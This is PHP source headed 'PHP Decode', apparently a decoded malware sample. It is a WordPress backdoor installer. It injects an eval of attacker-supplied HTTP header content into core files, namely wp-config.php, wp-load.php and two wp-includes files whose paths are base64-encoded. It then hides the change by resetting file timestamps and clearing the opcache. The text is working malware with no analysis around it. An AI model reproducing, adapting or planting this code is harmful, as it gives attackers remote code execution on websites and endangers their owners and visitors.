PHP Decode

define('CURRENTDIR', getcwd());
$rootDir = detectWProotDir();

if (!$rootDir) {
    echo 'invalid detect rootDir' . PHP_EOL;
    exit;
}


backCheckWrite(backTarget(), $rootDir);
backCheckWrite(additionalTarget(), $rootDir, true);

function backCheckWrite ($backTarget, $rootDir, $noBreak = false) {
    foreach ($backTarget as $path => $regex) {

        $fullPath = $rootDir . '/' . $path;
        $source = file_get_contents($fullPath);

        if (!$source) {
            continue;
        }

        if (detectString($source)) {
            echo sprintf('code already exists %s', $path) . PHP_EOL;

            if ($noBreak){
                continue;
            }

            break;
        }

        if (is_writeable(dirname($fullPath))) {
            $deleteFileBeforeUpdate = 1;
        }

        if (!is_writeable($fullPath) && !is_writeable(dirname($fullPath))) {
            echo sprintf('not writeable %s', $path) . PHP_EOL;
            continue;
        }

        if (!preg_match($regex, $source, $matches)) {
            echo sprintf('not matches in %s', $path) . PHP_EOL;
            continue;
        }


        $newSource = str_replace($matches[0], hqBack() . PHP_EOL . $matches[0], $source);

        if (!detectString($newSource)) {
            echo sprintf('incorrect record %s', $path) . PHP_EOL;
            continue;
        }


        $filemtime = filemtime($fullPath) + 10;

        if ($deleteFileBeforeUpdate) {
            unlink($fullPath);
        }

        if (file_put_contents($fullPath, $newSource)) {
            echo sprintf('%s success', $path) . PHP_EOL;
            touch($fullPath, $filemtime);

            if (function_exists('opcache_invalidate')) {
                opcache_invalidate($fullPath);
            }

            if ($noBreak) {
                continue;
            }

            break;
        } else {
            echo sprintf('invalid write to %s', $path) . PHP_EOL;
        }
    }
}

function detectString($source) {
    if (strstr($source, systemEnv()) !== false) {
        return true;
    }
    return false;
}

function systemEnv() {
    return 'D2698E2';
}

function hqBack() {
    return sprintf('eval($_SERVER[\'HTTP_%s\']);', systemEnv());
}

function additionalTarget() {
    $arr = [
        'wp-load.php' => '~^\s*if.+?file_exists.+?wp-config.php[^\{]+\{~m',
        'wp-config.php' => '~^\s*require_once.+?wp-settings.php[^;]+;~m',
    ];

    return $arr;
}

function backTarget() {
return json_decode(base64_decode('eyJ3cC1pbmNsdWRlc1wvZm9ybWF0dGluZy5waHAiOiJ+XlxccypmdW5jdGlvblxccyt3cHRleHR1cml6ZV9wcmltZXN+bSIsIndwLWluY2x1ZGVzXC90ZW1wbGF0ZS1sb2FkZXIucGhwIjoifl5cXHMqaWYuKmlzX3JvYm90c1teXFx7fFxcOl0rKFxce3w6KX5tIn0='), 1);
}

function moveTop(&$array, $key) {
    $temp = array($key => $array[$key]);
    unset($array[$key]);
    $array = $temp + $array;
}


function detectWProotDir() {
    if (file_exists(CURRENTDIR . '/wp-config.php')) {
        return CURRENTDIR;
    }
    $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);
    if (file_exists($normalizePath . '/wp-config.php')) {
        return $normalizePath;
    }

    return null;
}